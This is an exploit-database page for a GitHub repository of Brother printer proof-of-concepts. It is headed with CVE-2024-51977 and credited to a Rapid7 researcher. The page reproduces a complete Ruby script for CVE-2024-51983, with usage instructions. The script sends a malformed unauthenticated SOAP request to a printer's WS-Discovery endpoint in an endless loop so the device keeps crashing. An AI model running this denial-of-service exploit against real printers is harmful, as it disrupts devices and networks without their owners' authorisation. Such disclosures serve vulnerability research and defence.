Exploit database

GH-e61c89863ce30828e075ca78c47f586a

sfewer-r7/brothervulnerabilities

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-51977

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files9
sfewer-r7/brothervulnerabilitiesRevision 2909a4d3dbbf

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2024-51983.rb

Ruby · 2,929 bytes
# ===================================================================================
# CVE-2024-51983: An unauthenticated attacker can crash the device via a SOAP request
# ===================================================================================
#
# Verified on the following:
# * Brother MFC-L9570CDW (MAIN: ZL2403011354, SUB1: 1.32)
# * Brother MFC-L9570CDW (MAIN: ZK2309081840, SUB1: 1.31) 
#
# Example usage:
#   gem install httparty
#   ruby CVE-2024-51983.rb --printer_ip 192.168.86.62
#
# Credit: Stephen Fewer, Principal Security Researcher at Rapid7
# ===================================================================================
require 'httparty'
require 'optparse'
require 'securerandom'

HTTParty::Basement.default_options.update(verify: false)

options = {
	printer_scheme: 'http',
	printer_ip: nil,
	printer_port: 80,
	printer_endpoint: '/StableWSDiscoveryEndpoint/schemas-xmlsoap-org_ws_2005_04_discovery',
	delay: 10
}

OptionParser.new do |opt|
  opt.on('--printer_scheme http') { |o| options[:printer_scheme] = o }
  opt.on('--printer_ip IP') { |o| options[:printer_ip] = o }
  opt.on('--printer_port PORT') { |o| options[:printer_port] = o.to_i }
  opt.on('--printer_endpoint ENDPOINT') { |o| options[:printer_endpoint] = o }
  opt.on('--delay SECONDS') { |o| options[:delay] = o.to_i }
end.parse!

if options[:printer_ip].nil?
	$stderr.puts("You must specify a target printer IP via --printer_ip")
	Kernel.exit -1
end

printer_url = "#{options[:printer_scheme]}://#{options[:printer_ip]}:#{options[:printer_port]}#{options[:printer_endpoint]}"

$stdout.puts("Targeting #{printer_url}")

request_xml = %{<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"
xmlns:wscn="http://schemas.microsoft.com/windows/2006/08/wdp/scan">
	<SOAP-ENV:Header>
		<wsa:MessageID>urn:uuid:#{SecureRandom.uuid}</wsa:MessageID>
		<wsa:Action>http://schemas.microsoft.com/windows/2006/08/wdp/scan/RetrieveImage</wsa:Action>
		<wsa:To>http://schemas.microsoft.com/windows/2006/08/wdp/scan</wsa:To>
	</SOAP-ENV:Header>
	<SOAP-ENV:Body>
	<wscn:RetrieveImageRequest>
		<wscn:JobId>1</wscn:JobId>
		<wscn:JobToken>thiswillcrashthedevice</wscn:JobToken>
		<wscn:DocumentDescription>
			<wscn:DocumentName></DocumentName>
		</wscn:DocumentDescription>
	</wscn:RetrieveImageRequest>
	</SOAP-ENV:Body>
</SOAP-ENV:Envelope>}

loop do
	begin
		$stdout.puts("Crashing...")
		
		HTTParty.post(printer_url, body: request_xml, headers: { 'Content-Type' => 'application/xop+xml; type=application/soap_xop+xml' })

	rescue Errno::ECONNRESET
		$stdout.puts("Connection reset.")		
	rescue Errno::ETIMEDOUT
		$stdout.puts("Connection timedout.")	
	rescue Errno::ECONNREFUSED
		$stdout.puts("Connection refused.")
	end
	
	$stdout.puts("Sleeping for #{options[:delay]} seconds...")
	
	sleep(options[:delay])
end